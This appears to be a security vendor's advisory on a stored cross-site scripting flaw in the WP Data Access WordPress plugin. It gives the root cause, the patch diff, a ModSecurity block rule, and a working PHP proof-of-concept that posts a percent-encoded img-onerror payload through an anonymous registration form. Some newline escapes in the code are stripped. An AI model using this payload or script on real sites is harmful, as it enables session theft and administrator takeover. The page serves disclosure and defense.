Free WordPress WAF
Protect your site at the edge
Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.
Get Protected FreeAtomic Edge analysis of CVE-2026-124214:
Atomic Edge analysis of CVE-2026-124214: The WP Data Access plugin (versions <= 5.5.92) contains an unauthenticated stored cross-site scripting vulnerability in its HyperlinkObject label handling. An attacker can plant a JavaScript payload into a table column that is later rendered through a legacy $$link$$ Dynamic Hyperlink in a Data Project list. The payload executes in the browser of any user who views the affected list page. CVSS 5.4 (Medium) with CWE-79.
Root Cause: The vulnerable path spans three files. In WPDataAccess/Data_Tables/WPDA_Data_Tables.php (around line 1046), the code decodes a HyperlinkObject JSON payload and passes the 'label' value through urldecode( esc_attr( $hyperlink_label ) ) before concatenating it into an anchor tag. esc_attr is an attribute-escaping function, not an HTML body escaper, and urldecode runs after escaping, so percent-encoded payloads like %3Cscript%3E decode back into raw markup. The same flaw exists in WPDataAccess/List_Table/WPDA_List_Table.php (around line 940), where urldecode( esc_attr( $hyperlink_label ) ) is returned for the $$link$$ Dynamic Hyperlink output. Because the anonymous Registration Form app writes attacker-controlled JSON into a HyperlinkObject column without sanitizing the label, and the legacy Data Project list reads that column through the $$link$$ handler, the tainted value reaches the browser unescaped. Atomic Edge research confirms both output sinks are reachable with attacker-supplied data when the site has an Anonymous-access Registration Form bound to a table with a HyperlinkObject column and a legacy Data Project list using a $$link$$ Dynamic Hyperlink against the same column.
Exploitation: An unauthenticated visitor submits the anonymous registration form with a payload such as {"label":"%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E","url":"http://example.com"} into the HyperlinkObject field. The plugin stores the JSON verbatim. When any user (including an administrator) loads the Data Project list page that resolves the $$link$$ Dynamic Hyperlink, WPDA_Data_Tables.php line 1046 or WPDA_List_Table.php line 940 decodes the label and injects the raw HTML into the response. The onerror handler fires in the victim's session. No nonce, cookie, or authentication is required for the write step.
Patch Analysis: Version 5.5.93 replaces urldecode( esc_attr( … ) ) with esc_html( rawurldecode( … ) ) in WPDA_List_Table.php, and restructures WPDA_Data_Tables.php to branch on whether json_decode returned an array. When decoding fails, the raw value is escaped with esc_url and the label is pulled from the $hyperlinks map and passed through esc_html. When decoding succeeds and a URL is present, the anchor body uses esc_html( $hyperlink_label ) with no urldecode. Escaping now happens after decoding and uses the correct context (HTML body, not attribute). The patch also adds an empty-string guard to WPDA::substitute_environment_vars and moves environment variable substitution for the publication default WHERE clause into the earlier publication block, tightening the authorization check path in WPDA_Table.php.
Impact: Successful exploitation results in stored XSS in the context of any user who views the affected Data Project list. An attacker can steal session cookies, perform actions as the victim (including administrators), exfiltrate data, and pivot within the WordPress admin. Because the injection point is the anonymous registration form, the attack is fully unauthenticated and can be weaponized at scale against any site that meets the documented configuration.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/wp-data-access/WPDataAccess/API/WPDA_Table.php
+++ b/wp-data-access/WPDataAccess/API/WPDA_Table.php
@@ -670,7 +670,6 @@
$sql_values = implode( ', ', $select_value_placeholders );
$sql_columns = implode( ', ', $select_column_placeholders );
// A terrible query to verify authorization
- // TODO Does this block valid inserts?
$check_sql = "ntttttSELECT 1 FROM (nttttttSELECT {$sql_columns}nttttttFROM %inttttttWHERE 1 = 2nttttttUNION ALLnttttttSELECT {$sql_values}nttttt) AS tntt tWHERE ( {$default_where} )ntttt";
$allowed = $wpdadb->get_var( $wpdadb->prepare( $check_sql, array_merge( $select_columns, array($tbl), $select_values ) ) );
if ( null === $allowed ) {
--- a/wp-data-access/WPDataAccess/Data_Tables/WPDA_Data_Tables.php
+++ b/wp-data-access/WPDataAccess/Data_Tables/WPDA_Data_Tables.php
@@ -683,6 +683,7 @@
if ( isset( $publication[0]['pub_default_where'] ) ) {
if ( null !== $publication[0]['pub_default_where'] && '' !== trim( $publication[0]['pub_default_where'] ) ) {
$where = $publication[0]['pub_default_where'];
+ $where = WPDA::substitute_environment_vars( $where );
}
}
// Get server side options.
@@ -885,9 +886,6 @@
$where .= " and {$where_columns} ";
}
}
- if ( '' !== $where ) {
- $where = WPDA::substitute_environment_vars( $where );
- }
if ( '' !== $search_value ) {
$_filter['filter_dyn'] = $search_value;
}
@@ -1046,17 +1044,19 @@
if ( false !== strpos( ltrim( $hyperlink_html ), '<' ) ) {
$row[$key] = html_entity_decode( $hyperlink_html );
} else {
- try {
- $hyperlink_obj = json_decode( $hyperlink_html, true );
- } catch ( Exception $e ) {
- }
- $hyperlink_label = ( isset( $hyperlink_obj['label'] ) ? $hyperlink_obj['label'] : '' );
- $hyperlink_url = ( isset( $hyperlink_obj['url'] ) ? $hyperlink_obj['url'] : '' );
- if ( '' === $hyperlink_url ) {
- $row[$key] = urldecode( esc_attr( $hyperlink_label ) );
- continue;
+ $hyperlink_obj = json_decode( $hyperlink_html, true );
+ if ( !is_array( $hyperlink_obj ) ) {
+ $hyperlink_label = ( isset( $hyperlinks[$value]['hyperlink_label'] ) ? $hyperlinks[$value]['hyperlink_label'] : '' );
+ $row[$key] = '<a href="' . esc_url( $hyperlink_html ) . '"' . (( isset( $hyperlink->hyperlink_target ) && true === $hyperlink->hyperlink_target ? 'target="_blank" rel="noopener noreferrer"' : '' )) . '>' . esc_html( $hyperlink_label ) . '</a>';
+ } else {
+ $hyperlink_label = ( isset( $hyperlink_obj['label'] ) ? $hyperlink_obj['label'] : '' );
+ $hyperlink_url = ( isset( $hyperlink_obj['url'] ) ? $hyperlink_obj['url'] : '' );
+ if ( '' === $hyperlink_url ) {
+ $row[$key] = esc_html( $hyperlink_label );
+ } else {
+ $row[$key] = '<a href="' . esc_url( $hyperlink_url ) . '"' . (( isset( $hyperlink->hyperlink_target ) && true === $hyperlink->hyperlink_target ? 'target="_blank" rel="noopener noreferrer"' : '' )) . '>' . esc_html( $hyperlink_label ) . '</a>';
+ }
}
- $row[$key] = '<a href="' . esc_url( $hyperlink_url ) . '"' . (( isset( $hyperlink->hyperlink_target ) && true === $hyperlink->hyperlink_target ? "target='_blank'" : '' )) . '>' . urldecode( esc_attr( $hyperlink_label ) ) . '</a>';
}
} else {
$row[$key] = '';
--- a/wp-data-access/WPDataAccess/List_Table/WPDA_List_Table.php
+++ b/wp-data-access/WPDataAccess/List_Table/WPDA_List_Table.php
@@ -940,9 +940,9 @@
$hyperlink_label = ( isset( $hyperlink_obj['label'] ) ? $hyperlink_obj['label'] : '' );
$hyperlink_url = ( isset( $hyperlink_obj['url'] ) ? $hyperlink_obj['url'] : '' );
if ( '' === $hyperlink_url ) {
- return urldecode( esc_attr( $hyperlink_label ) );
+ return esc_html( rawurldecode( $hyperlink_label ) );
}
- return '<a href="' . esc_url( $hyperlink_url ) . '"' . (( isset( $hyperlink->hyperlink_target ) && true === $hyperlink->hyperlink_target ? "target='_blank'" : '' )) . '>' . urldecode( esc_attr( $hyperlink_label ) ) . '</a>';
+ return '<a href="' . esc_url( $hyperlink_url ) . '"' . (( isset( $hyperlink->hyperlink_target ) && true === $hyperlink->hyperlink_target ? "target='_blank'" : '' )) . '>' . esc_html( rawurldecode( $hyperlink_label ) ) . '</a>';
}
} else {
return '';
--- a/wp-data-access/WPDataAccess/WPDA.php
+++ b/wp-data-access/WPDataAccess/WPDA.php
@@ -53,8 +53,8 @@
/**
* Option wpda_version and it's default value
*/
- const OPTION_WPDA_VERSION = array( 'wpda_version', '5.5.92' );
- const OPTION_WPDA_CLIENT_VERSION = array( 'wpda_client_version', '1.0.90' );
+ const OPTION_WPDA_VERSION = array( 'wpda_version', '5.5.93' );
+ const OPTION_WPDA_CLIENT_VERSION = array( 'wpda_client_version', '1.0.91' );
const OPTION_WPDA_UPGRADED = array( 'wpda_upgraded', false );
/**
* Option wpda_setup_error and it's default value
@@ -886,6 +886,10 @@
* @return string
*/
public static function substitute_environment_vars( $where_clause ) {
+ if ( '' === $where_clause ) {
+ return '';
+ }
+
global $wpdb;
$cnt = substr_count( $where_clause, '$$USERID$$' );
--- a/wp-data-access/admin/class-wp-data-access-admin.php
+++ b/wp-data-access/admin/class-wp-data-access-admin.php
@@ -18,7 +18,6 @@
use WPDataAccessPlugin_Table_ModelsWPDA_App_Model;
use WPDataAccessPlugin_Table_ModelsWPDA_Design_Table_Model;
use WPDataAccessPlugin_Table_ModelsWPDA_Publisher_Model;
-use WPDataAccessPlugin_Table_ModelsWPDA_User_Menus_Model;
use WPDataAccessPremiumWPDAPRO_Data_PublisherWPDAPRO_Data_Publisher_Manage_Styles;
use WPDataAccessSettingsWPDA_Settings;
use WPDataAccessUtilitiesWPDA_Add_App_To_Menu;
--- a/wp-data-access/wp-data-access.php
+++ b/wp-data-access/wp-data-access.php
@@ -4,7 +4,7 @@
* Plugin Name: WP Data Access
* Plugin URI: https://wpdataaccess.com/
* Description: A powerful data-driven App Builder with an intuitive Table Builder, a highly customizable Form Builder and interactive Chart support in 35 languages
- * Version: 5.5.92
+ * Version: 5.5.93
* Author: Passionate Programmers B.V.
* Author URI: https://wpdataaccess.com/
* Text Domain: wp-data-access
@@ -257,7 +257,8 @@
// db call ok; no-cache ok.
// Get plugin backup tables (if applicable).
$backup_tables = $wpdb->get_results( $wpdb->prepare( '
- select table_name as table_name from information_schema.tables
+ select table_name as table_name
+ from `information_schema`.`tables`
where table_schema = %s
and table_name like %s
', array($wpdb->dbname, "{$plugin_table}_BACKUP_%") ), 'ARRAY_A' );
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-124214
# Blocks anonymous registration form submissions that smuggle a HyperlinkObject label
# with percent-encoded HTML tags, matching the sink in WPDA_Data_Tables.php / WPDA_List_Table.php.
SecRule REQUEST_METHOD "@streq POST"
"id:20261242,phase:2,deny,status:403,chain,msg:'CVE-2026-124214 WP Data Access HyperlinkObject label XSS',severity:'CRITICAL',tag:'CVE-2026-124214',tag:'attack-xss'"
SecRule ARGS "@rx label[^:]*:[^%<]*(%3[cc]|%3[eE]|<)"
"t:urlDecodeUni,t:lowercase,chain"
SecRule ARGS "@rx (<|%3c)s*(script|img|svg|iframe|object|embed|body|details|video|audio)"
"t:urlDecodeUni,t:lowercase"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-124214 - WP Data Access <= 5.5.92 - Unauthenticated Stored Cross-Site Scripting via HyperlinkObject Label via Anonymous Registration Form
$target_url = 'http://localhost:8080'; // Change to target WordPress site with vulnerable plugin
// Step 1: Identify the anonymous registration form endpoint.
// The exact endpoint is site-specific (it is the published Registration Form app URL).
// Below we assume the operator has published it at /registration/ and the HyperlinkObject field
// is named hyperlink_object. Adjust as required.
$registration_endpoint = $target_url . '/registration/';
// Step 2: Craft the malicious HyperlinkObject JSON payload.
// The label value is percent-encoded so that urldecode( esc_attr( ... ) ) reconstructs
// raw HTML at output time -- this is the RCE-equivalent XSS sink.
$payload_label = '%3Cimg%20src%3Dx%20onerror%3Dalert(document.cookie)%3E';
$payload = json_encode([
'label' => $payload_label,
'url' => 'http://example.com/',
]);
// Step 3: Submit the form unauthenticated.
$post_fields = [
// Fill in the actual form field names used by the published Registration Form
'hyperlink_object' => $payload,
'first_name' => 'poc',
'last_name' => 'tester',
'email' => 'poc@example.com',
];
$ch = curl_init($registration_endpoint);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
curl_setopt($ch, CURLOPT_COOKIEFILE, '');
curl_setopt($ch, CURLOPT_COOKIEJAR, '');
$response = curl_exec($ch);
$status = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($status !== 200 && $status !== 302) {
fwrite(STDERR, "[!] Form submission returned HTTP $status -- endpoint may be wrongn");
exit(1);
}
// Step 4: Confirm the payload landed. Load the Data Project list page that uses
// a $$link$$ Dynamic Hyperlink against the same column. The XSS fires in the browser
// when the list renders.
$list_endpoint = $target_url . '/data-project-list/'; // operator-specific
$ch = curl_init($list_endpoint);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$list_body = curl_exec($ch);
curl_close($ch);
// Step 5: Verify the payload is reflected unescaped in the page body.
if (strpos($list_body, '<img src=x onerror=alert(document.cookie)>') !== false) {
echo "[+] Payload stored and rendered unescaped. XSS confirmed.n";
} elseif (strpos($list_body, 'onerror=alert') !== false) {
echo "[+] Payload appears in page body (possibly partially escaped). Inspect manually.n";
} else {
echo "[-] Payload not observed in list output. Verify list configuration / caching.n";
}